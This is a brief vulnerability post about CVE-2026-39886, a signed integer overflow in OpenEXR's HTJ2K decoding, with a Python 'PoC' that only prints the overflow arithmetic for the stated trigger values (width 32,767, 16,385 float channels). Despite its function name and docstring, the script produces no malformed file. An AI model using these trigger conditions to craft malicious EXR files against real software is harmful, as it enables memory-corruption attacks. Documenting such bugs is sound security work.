CVE-2026-39886 OpenEXR HTJ2K整数溢出漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-39886: OpenEXR Signed Integer Overflow in ht_undo_impl() This script attempts to generate a crafted OpenEXR file. Trigger conditions: 16,385 FLOAT channels, Width 32,767. """ import struct def generate_malformed_exr(): # Note: Creating a valid EXR header with 16385 channels programmatically is complex. # This demonstrates the calculation logic that leads to the overflow. width = 32767 # Max HTJ2K width num_channels = 16385 # Number of FLOAT channels mentioned in CVE bytes_per_float = 4 # sizeof(float) # Vulnerable calculation simulation # bpl = width * num_channels * bytes_per_float bpl = width * num_channels * bytes_per_float print(f"Width: {width}") print(f"Channels: {num_channels}") print(f"Calculated BPL (unsigned): {bpl}") print(f"Max INT (signed 32-bit): {2**31 - 1}") if bpl > 2**31 - 1: print("[+] Integer Overflow condition met!") # Simulate signed 32-bit overflow signed_bpl = struct.unpack('>i', struct.pack('>I', bpl & 0xFFFFFFFF))[0] print(f"Overflowed BPL (signed 32-bit): {signed_bpl}") if __name__ == "__main__": generate_malformed_exr()